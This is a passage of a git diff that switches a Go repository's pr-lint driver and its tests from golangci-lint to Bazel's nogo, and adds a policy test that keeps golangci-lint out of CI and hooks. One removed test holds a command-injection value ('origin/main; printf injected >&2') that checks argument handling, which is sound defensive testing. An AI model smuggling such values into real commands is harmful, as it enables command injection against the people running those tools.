strings.Contains(st.Run, "golangci") || strings.Contains(st.Uses, "golangci") { + t.Errorf("%s %s step %q runs golangci-lint; nogo replaces it", e.Name(), name, st.Name) + } + } + } + } + for _, gone := range []string{"scripts/ci/install-golangci-lint.sh", "scripts/ci/go-test-vet.sh"} { + if _, err := os.Stat(filepath.Join(root, filepath.FromSlash(gone))); err == nil { + t.Errorf("%s is back; nogo replaces it", gone) + } + } + + // Local entrypoints: make, the pre-commit hook and pre-commit's config. + makefile := readPolicyFile(t, root, "Makefile") + for _, want := range []string{ + "ci-pr-lint:\n\t@./scripts/ci/pr-lint.sh\n", + "lint: ci-pr-lint\n", + "vet: lint\n", + "\t$(BAZEL) build --config=nogo -- $$packages\n", + } { + if !strings.Contains(makefile, want) { + t.Errorf("Makefile lacks %q", want) + } + } + for _, hook := range []string{".githooks/pre-commit", ".pre-commit-config.yaml"} { + body := readPolicyFile(t, root, hook) + if strings.Contains(body, "golangci-lint run") || strings.Contains(body, "golangci-lint@") || strings.Contains(body, "golangci/golangci-lint") { + t.Errorf("%s still runs golangci-lint", hook) + } + if !strings.Contains(body, "make lint-changed LINT_CHANGED_SCOPE=staged") { + t.Errorf("%s does not lint with nogo (make lint-changed LINT_CHANGED_SCOPE=staged)", hook) + } + } + // gofmt is //scripts/repochecks:fmt_test's, not the lint wrapper's + // (ga-96smfk.41). + if wrapper := readPolicyFile(t, root, "scripts/ci/pr-lint.sh"); regexp.MustCompile(`fmt-check|gofmt-bin`).MatchString(wrapper) { + t.Error("scripts/ci/pr-lint.sh runs gofmt; //scripts/repochecks:fmt_test gates formatting") + } +} diff --git a/scripts/pr-lint/BUILD.bazel b/scripts/pr-lint/BUILD.bazel index 906740444..a232d5557 100644 --- a/scripts/pr-lint/BUILD.bazel +++ b/scripts/pr-lint/BUILD.bazel @@ -16,9 +16,7 @@ go_binary( go_test( name = "pr-lint_test", srcs = ["main_test.go"], - data = ["//:.buildflags"], embed = [":pr-lint_lib"], - deps = ["//internal/testutil/bazeltest"], ) # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- diff --git a/scripts/pr-lint/main.go b/scripts/pr-lint/main.go index 0f855347e..d2d18ad27 100644 --- a/scripts/pr-lint/main.go +++ b/scripts/pr-lint/main.go @@ -1,47 +1,57 @@ -// pr-lint runs the repository's canonical Go lint passes without requiring -// Make or Bash. The supported scripts/ci/pr-lint.sh entrypoint delegates here, -// and bd preflight runs this checkout-owned command for the Beads source tree. -// The standalone workflow lint action and pre-commit hook do not call this -// driver; their scope and behavior still differ. +// pr-lint runs the repository's lint gate without requiring Make or Bash: +// nogo (//tools/nogo: go test's vet checks plus the golangci-lint linters +// .golangci.yml enables) under Bazel. The supported scripts/ci/pr-lint.sh +// entrypoint delegates here, and bd preflight runs this checkout-owned +// command for the Beads source tree. +// +// BD_LINT_TARGETS (a comma list of native, windows and darwin; default all) +// selects what is analyzed: +// +// - native: `bazel build --config=nogo //...`, every package and test, in +// the configuration of bazel.yml's unit lane. +// - windows, darwin: //tools/bazel:release_cross, every go_library and +// go_binary split-transitioned to windows/amd64 and darwin/arm64 without +// cgo, so the files only those platforms compile (//go:build windows, +// darwin, !linux, ...) are analyzed on any host, as golangci-lint's +// former GOOS=windows/darwin legs did. bazel.yml's pure lane builds the +// same target for every release platform. +// +// Bazel executes remotely when the developer's or CI's rc configures it. package main import ( - "bytes" "context" - "encoding/json" "errors" "fmt" "io" "os" "os/exec" - "path/filepath" "runtime" "strings" "time" ) -const ( - beadsBuildTags = "gms_pure_go" - goEnvTimeout = 30 * time.Second - lintProcessTimeout = 6 * time.Minute - lintReportedTimeout = "5m" -) +const passTimeout = 30 * time.Minute // defaultLintTargets is BD_LINT_TARGETS' value when unset or empty: the -// no-argument usage contract (`make ci-pr-lint`, `bd preflight`) must keep -// running all three passes locally and from the pre-commit hook. +// no-argument usage contract (`make ci-pr-lint`, `bd preflight`) runs all +// three. var defaultLintTargets = []string{"native", "windows", "darwin"} +// crossPlatforms maps the cross targets to rules_go's non-cgo platforms. +var crossPlatforms = []struct{ target, platform string }{ + {"windows", "windows_amd64"}, + {"darwin", "darwin_arm64"}, +} + type commandSpec struct { name string args []string dir string - env []string } type processRunner interface { lookPath(string) (string, error) - output(context.Context, commandSpec) ([]byte, []byte, error) run(context.Context, commandSpec, io.Writer, io.Writer) error } @@ -51,34 +61,14 @@ func (osProcessRunner) lookPath(name string) (string, error) { return exec.LookPath(name) } -func (osProcessRunner) output(ctx context.Context, spec commandSpec) ([]byte, []byte, error) { - cmd := exec.CommandContext(ctx, spec.name, spec.args...) - cmd.Dir = spec.dir - cmd.Env = spec.env - var stdout bytes.Buffer - var stderr bytes.Buffer - cmd.Stdout = &stdout - cmd.Stderr = &stderr - err := cmd.Run() - return stdout.Bytes(), stderr.Bytes(), err -} - func (osProcessRunner) run(ctx context.Context, spec commandSpec, stdout, stderr io.Writer) error { - cmd := exec.CommandContext(ctx, spec.name, spec.args...) //nolint:gosec // G702: executable is PATH-resolved; argv positions are assembled internally, and the env merge-base remains one unshelled argv value. + cmd := exec.CommandContext(ctx, spec.name, spec.args...) //nolint:gosec // G204: the Bazel launcher with internally assembled arguments cmd.Dir = spec.dir - cmd.Env = spec.env cmd.Stdout = stdout cmd.Stderr = stderr return cmd.Run() } -type nativeGoEnvironment struct { - GOOS string `json:"GOOS"` - CGOEnabled string `json:"CGO_ENABLED"` - GOROOT string `json:"GOROOT"` - GOVERSION string `json:"GOVERSION"` -} - func main() { dir, err := os.Getwd() if err != nil { @@ -93,124 +83,81 @@ func run(args []string, dir string, environ []string, stdout, stderr io.Writer, fmt.Fprintln(stderr, "usage: go run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint") return 2 } - - rawTargets, _ := environmentValue(environ, "BD_LINT_TARGETS", runtime.GOOS == "windows") - targets, err := parseLintTargets(rawTargets) + caseInsensitive := runtime.GOOS == "windows" + targets, err := parseLintTargets(environmentValue(environ, "BD_LINT_TARGETS", caseInsensitive)) if err != nil { fmt.Fprintln(stderr, err) return 2 } - runNative := containsTarget(targets, "native") - runWindows := containsTarget(targets, "windows") - runDarwin := containsTarget(targets, "darwin") - - goPath, err := runner.lookPath("go") + bazel, err := findBazel(environmentValue(environ, "BAZEL", caseInsensitive), runner) if err != nil { - fmt.Fprintf(stderr, "Go toolchain not found in PATH: %v\n", err) - return 1 - } - lintPath, err := runner.lookPath("golangci-lint") - if err != nil { - fmt.Fprintf(stderr, "golangci-lint not found in PATH: %v\n", err) + fmt.Fprintln(stderr, err) return 1 } - effectiveEnv := buildEnvironment(environ, runtime.GOOS == "windows") - probeCtx, cancel := context.WithTimeout(context.Background(), goEnvTimeout) + if containsTarget(targets, "native") { + spec := commandSpec{name: bazel, args: []string{"build", "--config=nogo", "//..."}, dir: dir} + if code := runPass("nogo (native)", spec, stdout, stderr, runner); code != 0 { + return code + } + } + + var platforms []string + for _, p := range crossPlatforms { + if containsTarget(targets, p.target) { + platforms = append(platforms, p.platform) + } + } + if len(platforms) > 0 { + label := "nogo (" + strings.Join(platforms, ", ") + "; non-cgo)" + spec := commandSpec{ + name: bazel, + args: []string{"build", "--config=nogo-cross", "--//tools/bazel:release_platforms=" + strings.Join(platforms, ","), "//tools/bazel:release_cross"}, + dir: dir, + } + if code := runPass(label, spec, stdout, stderr, runner); code != 0 { + return code + } + } + return 0 +} + +// findBazel resolves the Bazel launcher: $BAZEL (the Makefile's variable), +// else bazel, else bazelisk. +func findBazel(override string, runner processRunner) (string, error) { + candidates := []string{"bazel", "bazelisk"} + if override != "" { + candidates = []string{override} + } + for _, name := range candidates { + if path, err := runner.lookPath(name); err == nil { + return path, nil + } + } + return "", fmt.Errorf("bazel not found in PATH (tried %s); install bazelisk (https://github.com/bazelbuild/bazelisk) or set BAZEL", strings.Join(candidates, ", ")) +} + +func runPass(label string, spec commandSpec, stdout, stderr io.Writer, runner processRunner) int { + fmt.Fprintf(stdout, "==> %s\n", label) + ctx, cancel := context.WithTimeout(context.Background(), passTimeout) defer cancel() - native, code := readNativeGoEnvironment(probeCtx, dir, effectiveEnv, goPath, stderr, runner) - if code != 0 { - return code - } - - mergeBase, _ := environmentValue(effectiveEnv, "BD_LINT_NEW_FROM_MERGE_BASE", runtime.GOOS == "windows") - argsForLint := lintArgs(mergeBase) - skipWindows := native.GOOS == "windows" && native.CGOEnabled == "0" - windowsEnv := setEnvironment(effectiveEnv, map[string]string{ - "CGO_ENABLED": "0", - "GOARCH": "amd64", - "GOOS": "windows", - "GOWORK": "off", - }, runtime.GOOS == "windows") - // Files guarded by //go:build darwin (and the !windows && !linux fallbacks) - // are invisible to the Linux runner too, so a darwin-only finding must fail - // the PR here instead of on the next maintainer's laptop. - skipDarwin := native.GOOS == "darwin" && native.CGOEnabled == "0" - darwinEnv := setEnvironment(effectiveEnv, map[string]string{ - "CGO_ENABLED": "0", - "GOARCH": "arm64", - "GOOS": "darwin", - "GOWORK": "off", - }, runtime.GOOS == "windows") - nativeEnv := effectiveEnv - if runtime.GOOS == "windows" { - nativeEnv = preferSelectedGo(probeCtx, dir, effectiveEnv, native, stderr, runner) - if runWindows && !skipWindows { - // GOWORK=off can select a different toolchain. Probe the original - // Go executable and PATH again, before either lint pass starts. - selected, code := readNativeGoEnvironment(probeCtx, dir, windowsEnv, goPath, stderr, runner) - if code == 0 { - windowsEnv = preferSelectedGo(probeCtx, dir, windowsEnv, selected, stderr, runner) - } - } - if runDarwin && !skipDarwin { - selected, code := readNativeGoEnvironment(probeCtx, dir, darwinEnv, goPath, stderr, runner) - if code == 0 { - darwinEnv = preferSelectedGo(probeCtx, dir, darwinEnv, selected, stderr, runner) - } - } - } - cancel() // All discovery shares the existing 30-second probe budget. - - if runNative { - if code := runLintPass( - "golangci-lint (native)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: nativeEnv}, - stdout, - stderr, - runner, - ); code != 0 { - return code - } - } - - if runWindows { - if skipWindows { - fmt.Fprintln(stdout, "==> golangci-lint (windows/amd64, non-CGO) already covered by native pass") - } else if code := runLintPass( - "golangci-lint (windows/amd64, non-CGO)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: windowsEnv}, - stdout, - stderr, - runner, - ); code != 0 { - return code - } - } - - if !runDarwin { + err := runner.run(ctx, spec, stdout, stderr) + if err == nil { + fmt.Fprintf(stdout, "<== %s succeeded\n", label) return 0 } - if skipDarwin { - fmt.Fprintln(stdout, "==> golangci-lint (darwin/arm64, non-CGO) already covered by native pass") - return 0 + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + fmt.Fprintf(stderr, "<== %s exceeded %s\n", label, passTimeout) + return 1 } - - return runLintPass( - "golangci-lint (darwin/arm64, non-CGO)", - commandSpec{name: lintPath, args: argsForLint, dir: dir, env: darwinEnv}, - stdout, - stderr, - runner, - ) + fmt.Fprintf(stderr, "<== %s failed: %v\n", label, err) + return processExitCode(err) } // parseLintTargets parses BD_LINT_TARGETS: a comma-separated list of // "native", "windows" and "darwin", in any order and with any repetition. -// An empty value (the variable unset, or set to only whitespace and commas) -// selects all three, so the no-argument usage contract is unchanged. Any -// other token is an error: callers exit 2, matching the usage-error exit -// code above. +// An empty value (unset, or only whitespace and commas) selects all three. +// Any other token is an error: callers exit 2, the usage-error exit code. func parseLintTargets(raw string) ([]string, error) { var targets []string for _, field := range strings.Split(raw, ",") { @@ -238,184 +185,16 @@ func containsTarget(targets []string, target string) bool { return false } -func readNativeGoEnvironment( - ctx context.Context, - dir string, - environ []string, - goPath string, - stderr io.Writer, - runner processRunner, -) (nativeGoEnvironment, int) { - spec := commandSpec{ - name: goPath, - args: []string{"env", "-json", "GOOS", "CGO_ENABLED", "GOROOT", "GOVERSION"}, - dir: dir, - env: environ, - } - output, commandStderr, err := runner.output(ctx, spec) - writeDiagnostic(stderr, commandStderr) - if err != nil { - writeDiagnostic(stderr, output) - if errors.Is(ctx.Err(), context.DeadlineExceeded) { - fmt.Fprintf(stderr, "go env exceeded %s\n", goEnvTimeout) - return nativeGoEnvironment{}, 1 - } - fmt.Fprintf(stderr, "inspect native Go target: %v\n", err) - return nativeGoEnvironment{}, processExitCode(err) - } - - var native nativeGoEnvironment - if err := json.Unmarshal(output, &native); err != nil { - fmt.Fprintf(stderr, "parse native Go target: %v\n", err) - return nativeGoEnvironment{}, 1 - } - if native.GOOS == "" || native.CGOEnabled == "" { - fmt.Fprintf(stderr, "go env returned an incomplete target: GOOS=%q CGO_ENABLED=%q\n", native.GOOS, native.CGOEnabled) - return nativeGoEnvironment{}, 1 - } - return native, 0 -} - -// On Windows, Go auto-selection starts another process instead of replacing -// itself. Prefer the selected SDK for lint so cancellation reaches that Go -// process directly. This is not general descendant-process containment. -func preferSelectedGo(ctx context.Context, dir string, environ []string, selected nativeGoEnvironment, stderr io.Writer, runner processRunner) []string { - if !filepath.IsAbs(selected.GOROOT) || selected.GOVERSION == "" { - return environ - } - bin := filepath.Join(selected.GOROOT, "bin") - if strings.ContainsRune(bin, os.PathListSeparator) { - fmt.Fprintln(stderr, "Windows lint: retaining original Go PATH; selected SDK directory contains a PATH separator") - return environ - } - // GOROOT can describe a source-only or custom installation. Verify the - // candidate without allowing it to switch toolchains during this probe. - output, diagnostic, err := runner.output(ctx, commandSpec{ - name: filepath.Join(bin, "go.exe"), - args: []string{"env", "-json", "GOROOT", "GOVERSION"}, - dir: dir, - env: setEnvironment(environ, map[string]string{"GOTOOLCHAIN": "local"}, true), - }) - writeDiagnostic(stderr, diagnostic) - var candidate nativeGoEnvironment - if err != nil || json.Unmarshal(output, &candidate) != nil || - candidate.GOVERSION != selected.GOVERSION || - !strings.EqualFold(filepath.Clean(candidate.GOROOT), filepath.Clean(selected.GOROOT)) { - fmt.Fprintln(stderr, "Windows lint: retaining original Go PATH; selected SDK could not be verified") - return environ - } - path, _ := environmentValue(environ, "PATH", true) - return setEnvironment(environ, map[string]string{"PATH": bin + string(os.PathListSeparator) + path}, true) -} - -func writeDiagnostic(destination io.Writer, output []byte) { - if len(output) == 0 { - return - } - _, _ = destination.Write(output) - if output[len(output)-1] != '\n' { - fmt.Fprintln(destination) - } -} - -func runLintPass(label string, spec commandSpec, stdout, stderr io.Writer, runner processRunner) int { - fmt.Fprintf(stdout, "==> %s\n", label) - ctx, cancel := context.WithTimeout(context.Background(), lintProcessTimeout) - defer cancel() - - err := runner.run(ctx, spec, stdout, stderr) - if err == nil { - fmt.Fprintf(stdout, "<== %s succeeded\n", label) - return 0 - } - if errors.Is(ctx.Err(), context.DeadlineExceeded) { - fmt.Fprintf(stderr, "<== %s exceeded %s\n", label, lintProcessTimeout) - return 1 - } - fmt.Fprintf(stderr, "<== %s failed: %v\n", label, err) - return processExitCode(err) -} - -func lintArgs(mergeBase string) []string { - args := []string{ - "run", - "--config=.golangci.yml", - "--modules-download-mode=readonly", - "--timeout=" + lintReportedTimeout, - "--build-tags=" + beadsBuildTags, - } - if mergeBase != "" { - args = append(args, "--new-from-merge-base="+mergeBase) - } - return append(args, "./...") -} - -func buildEnvironment(environ []string, caseInsensitive bool) []string { - cgoEnabled, found := environmentValue(environ, "CGO_ENABLED", caseInsensitive) - if !found || cgoEnabled == "" { - cgoEnabled = "1" - } - - goFlags, _ := environmentValue(environ, "GOFLAGS", caseInsensitive) - // Match .buildflags: an appended -tags value overrides an inherited bare-Go - // -tags value rather than merging tag lists. - if !strings.Contains(goFlags, beadsBuildTags) { - if goFlags != "" { - goFlags += " " - } - goFlags += "-tags=" + beadsBuildTags - } - - return setEnvironment(environ, map[string]string{ - "BEADS_BUILD_TAGS": beadsBuildTags, - "CGO_ENABLED": cgoEnabled, - "GOFLAGS": goFlags, - }, caseInsensitive) -} - -func setEnvironment(environ []string, overrides map[string]string, caseInsensitive bool) []string { - result := make([]string, 0, len(environ)+len(overrides)) - for _, entry := range environ { - key, _, ok := strings.Cut(entry, "=") - if !ok { - result = append(result, entry) - continue - } - if containsEnvironmentKey(overrides, key, caseInsensitive) { - continue - } - result = append(result, entry) - } - for key, value := range overrides { - result = append(result, key+"="+value) - } - return result -} - -func environmentValue(environ []string, wanted string, caseInsensitive bool) (string, bool) { +// environmentValue returns the last value of wanted in environ; Windows +// environment names are case-insensitive. +func environmentValue(environ []string, wanted string, caseInsensitive bool) string { for index := len(environ) - 1; index >= 0; index-- { key, value, ok := strings.Cut(environ[index], "=") - if ok && environmentKeysEqual(key, wanted, caseInsensitive) { - return value, true + if ok && (key == wanted || caseInsensitive && strings.EqualFold(key, wanted)) { + return value } } - return "", false -} - -func containsEnvironmentKey(values map[string]string, wanted string, caseInsensitive bool) bool { - for key := range values { - if environmentKeysEqual(key, wanted, caseInsensitive) { - return true - } - } - return false -} - -func environmentKeysEqual(left, right string, caseInsensitive bool) bool { - if caseInsensitive { - return strings.ToLower(left) == strings.ToLower(right) - } - return left == right + return "" } func processExitCode(err error) int { diff --git a/scripts/pr-lint/main_test.go b/scripts/pr-lint/main_test.go index 28e681cc4..120579baa 100644 --- a/scripts/pr-lint/main_test.go +++ b/scripts/pr-lint/main_test.go @@ -3,30 +3,18 @@ package main import ( "bytes" "context" - "encoding/json" "errors" "io" - "os" - "os/exec" - "path/filepath" "reflect" - "regexp" "runtime" "strings" "testing" - - "github.com/steveyegge/beads/internal/testutil/bazeltest" ) type recordingRunner struct { - paths map[string]string - goEnvOutput string - goEnvStderr string - goEnvErr error - runErrors []error - outputCommands []commandSpec - runCommands []commandSpec - outputFunc func(context.Context, commandSpec) ([]byte, []byte, error) + paths map[string]string + runErrors []error + runCommands []commandSpec } func (runner *recordingRunner) lookPath(name string) (string, error) { @@ -36,17 +24,9 @@ func (runner *recordingRunner) lookPath(name string) (string, error) { return "", errors.New("synthetic missing command") } -func (runner *recordingRunner) output(ctx context.Context, spec commandSpec) ([]byte, []byte, error) { - runner.outputCommands = append(runner.outputCommands, spec) - if runner.outputFunc != nil { - return runner.outputFunc(ctx, spec) - } - return []byte(runner.goEnvOutput), []byte(runner.goEnvStderr), runner.goEnvErr -} - func (runner *recordingRunner) run(_ context.Context, spec commandSpec, stdout, _ io.Writer) error { runner.runCommands = append(runner.runCommands, spec) - _, _ = io.WriteString(stdout, "synthetic lint output\n") + _, _ = io.WriteString(stdout, "synthetic bazel output\n") index := len(runner.runCommands) - 1 if index < len(runner.runErrors) { return runner.runErrors[index] @@ -66,643 +46,136 @@ func (err syntheticExitError) ExitCode() int { return err.code } -func TestRunUsesCanonicalNativeAndCrossTargetPasses(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - environ := []string{ - "PATH=/tools", - "BD_LINT_NEW_FROM_MERGE_BASE=origin/main", - } +func newRunner() *recordingRunner { + return &recordingRunner{paths: map[string]string{"bazel": "/bin/bazel"}} +} - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) +var nativeArgs = []string{"build", "--config=nogo", "//..."} + +func crossArgs(platforms string) []string { + return []string{"build", "--config=nogo-cross", "--//tools/bazel:release_platforms=" + platforms, "//tools/bazel:release_cross"} +} + +func commandArgs(runner *recordingRunner) [][]string { + var got [][]string + for _, spec := range runner.runCommands { + got = append(got, spec.args) } - wantProbes := 1 - if runtime.GOOS == "windows" { - // One native probe plus one per cross-target pass. - wantProbes = 3 + return got +} + +func TestRunsNativeThenTheWindowsAndDarwinCrossPass(t *testing.T) { + runner := newRunner() + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", []string{"PATH=/bin"}, &stdout, &stderr, runner); code != 0 { + t.Fatalf("run() = %d, stderr:\n%s", code, stderr.String()) } - if len(runner.outputCommands) != wantProbes { - t.Fatalf("go env calls = %d, want %d", len(runner.outputCommands), wantProbes) - } - wantGoArgs := []string{"env", "-json", "GOOS", "CGO_ENABLED", "GOROOT", "GOVERSION"} - if got := runner.outputCommands[0].args; !reflect.DeepEqual(got, wantGoArgs) { - t.Fatalf("go env args = %#v, want %#v", got, wantGoArgs) - } - if len(runner.runCommands) != 3 { - t.Fatalf("lint calls = %d, want 3", len(runner.runCommands)) - } - wantLintArgs := []string{ - "run", - "--config=.golangci.yml", - "--modules-download-mode=readonly", - "--timeout=5m", - "--build-tags=gms_pure_go", - "--new-from-merge-base=origin/main", - "./...", - } - for index, command := range runner.runCommands { - if command.name != "/tools/golangci-lint" { - t.Fatalf("lint call %d executable = %q", index, command.name) - } - if command.dir != "/repo" { - t.Fatalf("lint call %d dir = %q, want /repo", index, command.dir) - } - if !reflect.DeepEqual(command.args, wantLintArgs) { - t.Fatalf("lint call %d args = %#v, want %#v", index, command.args, wantLintArgs) + for _, spec := range runner.runCommands { + if spec.name != "/bin/bazel" || spec.dir != "/repo" { + t.Errorf("command %q in %q, want /bin/bazel in /repo", spec.name, spec.dir) } } - assertEnvironmentValue(t, runner.runCommands[0].env, "CGO_ENABLED", "1", false) - assertEnvironmentValue(t, runner.runCommands[0].env, "BEADS_BUILD_TAGS", "gms_pure_go", false) - assertEnvironmentValue(t, runner.runCommands[0].env, "GOFLAGS", "-tags=gms_pure_go", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "windows", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "GOARCH", "amd64", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "CGO_ENABLED", "0", false) - assertEnvironmentValue(t, runner.runCommands[1].env, "GOWORK", "off", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "GOOS", "darwin", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "GOARCH", "arm64", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "CGO_ENABLED", "0", false) - assertEnvironmentValue(t, runner.runCommands[2].env, "GOWORK", "off", false) - for _, heading := range []string{ - "==> golangci-lint (native)", - "==> golangci-lint (windows/amd64, non-CGO)", - "==> golangci-lint (darwin/arm64, non-CGO)", - } { - if !strings.Contains(stdout.String(), heading) { - t.Fatalf("missing lane heading %q in output:\n%s", heading, stdout.String()) + want := [][]string{nativeArgs, crossArgs("windows_amd64,darwin_arm64")} + if got := commandArgs(runner); !reflect.DeepEqual(got, want) { + t.Errorf("bazel commands = %q, want %q", got, want) + } + for _, label := range []string{"nogo (native)", "nogo (windows_amd64, darwin_arm64; non-cgo)"} { + if !strings.Contains(stdout.String(), "==> "+label+"\n") || !strings.Contains(stdout.String(), "<== "+label+" succeeded\n") { + t.Errorf("stdout lacks the %q pass markers:\n%s", label, stdout.String()) } } } -// TestRunHonorsBDLintTargetsSelection covers the pr.yml PR Lint matrix -// (F5.2): each leg sets BD_LINT_TARGETS to exactly one of native, windows or -// darwin, and only that pass must run. -func TestRunHonorsBDLintTargetsSelection(t *testing.T) { - for _, tc := range []struct { - targets string - wantRuns []string // GOOS set on the one command's env, in order +func TestBDLintTargetsSelectsPasses(t *testing.T) { + for _, c := range []struct { + targets string + want [][]string }{ - {"native", []string{"linux"}}, - {"windows", []string{"windows"}}, - {"darwin", []string{"darwin"}}, - {"native,windows", []string{"linux", "windows"}}, - {" windows , darwin ", []string{"windows", "darwin"}}, - {"windows,windows", []string{"windows"}}, + {"native", [][]string{nativeArgs}}, + {" darwin , darwin", [][]string{crossArgs("darwin_arm64")}}, + {"windows", [][]string{crossArgs("windows_amd64")}}, + // Order and repetition do not matter. + {"darwin,native,windows", [][]string{nativeArgs, crossArgs("windows_amd64,darwin_arm64")}}, + {" , ", [][]string{nativeArgs, crossArgs("windows_amd64,darwin_arm64")}}, } { - t.Run(tc.targets, func(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } - var stdout, stderr bytes.Buffer - environ := []string{"PATH=/tools", "BD_LINT_TARGETS=" + tc.targets} - - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - if len(runner.runCommands) != len(tc.wantRuns) { - t.Fatalf("lint calls = %d, want %d (%v); commands=%#v", len(runner.runCommands), len(tc.wantRuns), tc.wantRuns, runner.runCommands) - } - for index, wantGOOS := range tc.wantRuns { - if wantGOOS == "linux" { - // The native pass does not force a GOOS override. - if got, found := environmentValue(runner.runCommands[index].env, "GOOS", false); found && got != "" && got != "linux" { - t.Fatalf("native pass GOOS override = %q", got) - } - continue - } - assertEnvironmentValue(t, runner.runCommands[index].env, "GOOS", wantGOOS, false) - } - }) - } -} - -func TestRunDefaultsBDLintTargetsToAllThree(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } - var stdout, stderr bytes.Buffer - // No BD_LINT_TARGETS at all, and a second case with it set but empty: - // both must run the full native+windows+darwin contract (the no-argument - // usage contract `make ci-pr-lint` and `bd preflight` depend on). - for _, environ := range [][]string{ - {"PATH=/tools"}, - {"PATH=/tools", "BD_LINT_TARGETS="}, - {"PATH=/tools", "BD_LINT_TARGETS= , ,"}, - } { - runner.runCommands = nil - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) + runner := newRunner() + var stdout, stderr bytes.Buffer + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=" + c.targets}, &stdout, &stderr, runner); code != 0 { + t.Fatalf("%q: run() = %d, stderr:\n%s", c.targets, code, stderr.String()) } - if len(runner.runCommands) != 3 { - t.Fatalf("env=%v: lint calls = %d, want 3", environ, len(runner.runCommands)) + if got := commandArgs(runner); !reflect.DeepEqual(got, c.want) { + t.Errorf("%q: bazel commands = %q, want %q", c.targets, got, c.want) } } } -func TestRunRejectsUnknownBDLintTarget(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "/tools/go", - "golangci-lint": "/tools/golangci-lint", - }, - goEnvOutput: `{"GOOS":"linux","CGO_ENABLED":"1"}`, - } +func TestRejectsUnknownTargetAndArguments(t *testing.T) { + runner := newRunner() var stdout, stderr bytes.Buffer - environ := []string{"PATH=/tools", "BD_LINT_TARGETS=native,solaris"} - - code := run(nil, "/repo", environ, &stdout, &stderr, runner) - if code != 2 { - t.Fatalf("run exit = %d, want 2; stderr=%s", code, stderr.String()) + if code := run(nil, "/repo", []string{"BD_LINT_TARGETS=native,linux"}, &stdout, &stderr, runner); code != 2 { + t.Errorf("unknown target: run() = %d, want 2", code) + } + if !strings.Contains(stderr.String(), `unknown target "linux"`) { + t.Errorf("stderr = %q, want the unknown target named", stderr.String()) + } + if code := run([]string{"./..."}, "/repo", nil, &stdout, &stderr, runner); code != 2 { + t.Errorf("arguments: run() = %d, want 2", code) } if len(runner.runCommands) != 0 { - t.Fatalf("an unknown target must run nothing, got %d lint calls", len(runner.runCommands)) - } - if !strings.Contains(stderr.String(), "solaris") { - t.Fatalf("missing the unknown target in the diagnostic: %q", stderr.String()) + t.Errorf("ran %+v after a usage error", runner.runCommands) } } -func TestParseLintTargets(t *testing.T) { - for _, tc := range []struct { - raw string - want []string - wantErr bool - }{ - {"", []string{"native", "windows", "darwin"}, false}, - {" , ", []string{"native", "windows", "darwin"}, false}, - {"native", []string{"native"}, false}, - {"native,darwin", []string{"native", "darwin"}, false}, - {" native , darwin ", []string{"native", "darwin"}, false}, - {"bogus", nil, true}, - {"native,bogus", nil, true}, - } { - t.Run(tc.raw, func(t *testing.T) { - got, err := parseLintTargets(tc.raw) - if tc.wantErr { - if err == nil { - t.Fatalf("parseLintTargets(%q) = %v, want an error", tc.raw, got) - } - return - } - if err != nil { - t.Fatalf("parseLintTargets(%q) unexpected error: %v", tc.raw, err) - } - if !reflect.DeepEqual(got, tc.want) { - t.Fatalf("parseLintTargets(%q) = %#v, want %#v", tc.raw, got, tc.want) - } - }) - } -} - -func TestLintArgsKeepsHostileMergeBaseInOneArgument(t *testing.T) { - mergeBase := `origin/main; printf injected >&2` - args := lintArgs(mergeBase) - want := "--new-from-merge-base=" + mergeBase - count := 0 - for _, arg := range args { - if arg == want { - count++ - } - } - if count != 1 { - t.Fatalf("hostile merge base occurrence count = %d, want 1; args=%#v", count, args) - } - if len(args) != 7 { - t.Fatalf("hostile merge base changed argv cardinality: %#v", args) - } -} - -func TestRunSkipsDuplicateNativeWindowsNonCGOPass(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"windows","CGO_ENABLED":"0"}`, - } - var stdout bytes.Buffer - var stderr bytes.Buffer - - code := run(nil, "/repo", []string{"CGO_ENABLED=0"}, &stdout, &stderr, runner) - if code != 0 { - t.Fatalf("run exit = %d, want 0; stderr=%s", code, stderr.String()) - } - // The native pass already covers windows/non-CGO, so only the native and - // darwin cross-target passes remain. - if len(runner.runCommands) != 2 { - t.Fatalf("lint calls = %d, want 2", len(runner.runCommands)) - } - assertEnvironmentValue(t, runner.runCommands[1].env, "GOOS", "darwin", false) - if !strings.Contains(stdout.String(), "==> golangci-lint (windows/amd64, non-CGO) already covered by native pass") { - t.Fatalf("missing duplicate-pass diagnostic:\n%s", stdout.String()) - } -} - -func TestRunSkipsDuplicateNativeDarwinNonCGOPass(t *testing.T) { - runner := &recordingRunner{ - paths: map[string]string{ - "go": "go", - "golangci-lint": "golangci-lint", - }, - goEnvOutput: `{"GOOS":"darwin","CGO_ENABLED":"0"}`, - } - var stdout 